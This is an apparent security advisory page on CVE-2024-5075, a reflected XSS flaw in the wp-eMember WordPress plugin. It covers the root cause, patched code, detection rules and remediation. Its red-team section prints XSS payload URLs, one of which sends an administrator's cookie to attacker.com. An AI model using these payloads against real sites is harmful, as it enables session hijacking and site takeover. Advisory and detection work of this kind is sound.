CVE-2024-5075
Executive Summary
CVE-2024-5075 is a Reflected Cross-Site Scripting (XSS) vulnerability identified in the wp-eMember WordPress plugin, versions prior to 10.6.6. The plugin fails to properly sanitize and escape a parameter before outputting it back in the page, allowing an attacker to inject arbitrary JavaScript. This vulnerability can be exploited against high-privilege users, such as administrators, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and has a CVSS v3.1 base score of 6.1 (Medium), with a vector emphasizing network-based, low-complexity attacks requiring user interaction.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the wp-eMember WordPress plugin, a third-party component commonly installed via the WordPress plugin repository. The plugin is not part of the WordPress core, but its widespread use in membership and e-commerce sites makes it a significant supply chain risk. Organizations using this plugin should treat it as a critical dependency and ensure it is updated promptly.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication is needed to trigger the XSS.
- User Interaction: Required (UI:R) – The victim must click a crafted link or visit a malicious page.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited information disclosure possible.
- Integrity Impact: Low (I:L) – Limited ability to modify content.
- Availability Impact: None (A:N) – No direct denial of service.
Threat Level: Medium. While the CVSS score is moderate, the ability to target high-privilege users (e.g., admins) elevates the risk, as a successful attack could lead to full site compromise.
Deep Dive & Mechanics
The vulnerability resides in the wp-eMember plugin’s handling of a specific parameter (likely emember_action or similar) that is reflected back into the page without proper sanitization or output escaping. When a user visits a crafted URL containing malicious JavaScript in that parameter, the script executes in the context of the victim’s browser session.
Root Cause: The plugin uses echo or similar output functions without applying WordPress’s built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This allows an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- Attacker crafts a malicious URL:
https://victim-site.com/?emember_action=<script>alert('XSS')</script> - Attacker sends this link to a high-privilege user (e.g., via email or social engineering).
- Victim clicks the link while authenticated to the WordPress admin panel.
- The injected script executes, potentially stealing session cookies, performing actions on behalf of the admin, or redirecting to a malicious site.
Vulnerable vs. Patched Code
Vulnerable Code (pre-10.6.6):
// Example vulnerable snippet (hypothetical)
$action = $_GET['emember_action'];
echo "<div class='emember-action'>$action</div>";
Patched Code (10.6.6+):
// Patched version using WordPress escaping
$action = sanitize_text_field($_GET['emember_action']);
echo "<div class='emember-action'>" . esc_html($action) . "</div>";
The patch introduces sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Since no public exploit code is available, a proof-of-concept can be constructed manually.
Step 1: Identify the vulnerable parameter.
Use a web proxy (e.g., Burp Suite) to intercept requests and look for parameters reflected in the response. Common candidates include emember_action, member_id, or redirect_to.
Step 2: Craft the payload.
Example URL:http://target-site.com/?emember_action=<script>alert(document.cookie)</script>
Step 3: Deliver the link.
Use social engineering to trick an admin into clicking the link.
Step 4: Capture the cookie.
For a more advanced attack, use a payload that sends the cookie to an attacker-controlled server:http://target-site.com/?emember_action=<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
Blue Team (Defense & Detection)
- Web Application Firewall (WAF): Block requests containing
<script>tags in query parameters. - Input Validation: Ensure all user-supplied data is sanitized and escaped.
- Security Headers: Implement Content Security Policy (CSP) to restrict script execution.
- User Training: Educate high-privilege users about phishing and suspicious links.
Indicators of Compromise (IOCs)
- Network IOCs:
- Suspicious URLs containing
emember_action=followed by encoded JavaScript. - Outbound connections to unknown IPs or domains from the WordPress server.
- Suspicious URLs containing
- Host IOCs:
- Unexpected JavaScript files in the web root or plugin directory.
- Modified WordPress admin user accounts or new admin users.
- Log IOCs:
- HTTP 200 responses with
text/htmlcontaining<script>tags in theemember_actionparameter. - Referer headers from phishing emails or external sites.
- HTTP 200 responses with
Detection Engineering
YARA Rule
rule CVE_2024_5075_wp_eMember_XSS {
meta:
description = "Detects reflected XSS attempts against wp-eMember plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-5075"
strings:
$xss_payload = /emember_action=.*<script/i
$xss_encoded = /emember_action=.*%3Cscript/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against wp-eMember Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with malicious payloads targeting the wp-eMember plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: 'emember_action='
c-uri|contains|any:
- '<script'
- '%3Cscript'
- 'alert('
- 'document.cookie'
condition: selection
falsepositives:
- Legitimate use of the parameter with safe values (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5075 wp-eMember Reflected XSS Attempt"; flow:to_server,established; content:"emember_action="; http_uri; pcre:"/emember_action=.*(<script|%3Cscript)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade the wp-eMember plugin to version 10.6.6 or later.
- Virtual Patching: If immediate upgrade is not possible, deploy a WAF rule to block requests containing
emember_actionwith suspicious patterns. - Code Review: Audit all custom code for similar XSS vulnerabilities.
- Security Hardening: Enable CSP headers, use HTTPS, and implement strict input validation.
- Monitoring: Continuously monitor logs for exploitation attempts and anomalous admin behavior.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.